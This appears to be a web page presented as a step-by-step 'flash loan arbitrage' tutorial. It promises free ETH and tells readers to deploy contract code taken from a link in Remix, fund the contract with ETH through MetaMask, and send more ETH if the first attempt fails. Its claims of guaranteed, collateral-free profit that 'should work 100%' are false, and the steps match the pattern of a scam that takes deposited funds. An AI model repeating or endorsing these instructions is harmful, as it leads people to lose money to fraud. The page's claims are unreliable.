Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
Flash loan arbitrage tutorial to get FREE ETHER with no collateral using a ETH flash loan attack on the Ether network.
With a Flash Loan you are actually able to SWAP out your Collateral on a loan for another Asset all within a single 10 second transaction.
Step By Step Tutorial for Flash Loan:
Step 1: Open and setup Remix in browser (http://remix.ethereum.org)
Step 2: Click the contracts folder then the create new file icon, create a file call it flashloans.sol hit ENTER (Create this file in the contracts folder (Watch Video)
Step 3: Copy and paste the contract code link below into REMIX Panel
Step 4: Click Solidity Compiler Icon (2nd menu button from the left) and then Change Compiler version to 0.5.0
Step 5: Click compile flashloans.sol (Wait for the code to compile… wait 1-5 minutes until finish)
Step 6: Change Environment to (Injected Web3)
Step 7: Connect your wallet when prompted (Metamask Preferable)
Step 8: Enter your token details and deploy the contract (TYU token)
Step 9: Enter your token Symbols (TYU)
Step 10: Enter Loan Amount Minimum should be (500)
Step 11: Click Deploy & Run transaction icon
Step 12: Click confirm on wallet/metamask (wait for confirmation)
Step 13: COPY the Contract Address & PASTE in your METAMASK
Step 14: Click NEXT on METAMASK & after Paste Contract Address & the AMOUNT of 0.05 ETH to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, it’s going to take around 0.000316 ETH fees)
Step 15: Wait for the transaction to confirm.
Step 16: Click confirm
Step 17: Call “action” function.
Step 18: Click confirm
Step 19: DONE
Note: if it doesn’t work with 0.05 ETH try to send another 0.05 ETH (0.06 is better), because fees may be different from day to day. (0.05 ETH for each 500 ETH you are borrowing)
Avoid using very low amounts as contract may fail below 0.05 ETH
Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 500 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your ETH out to another wallet when you’re done.
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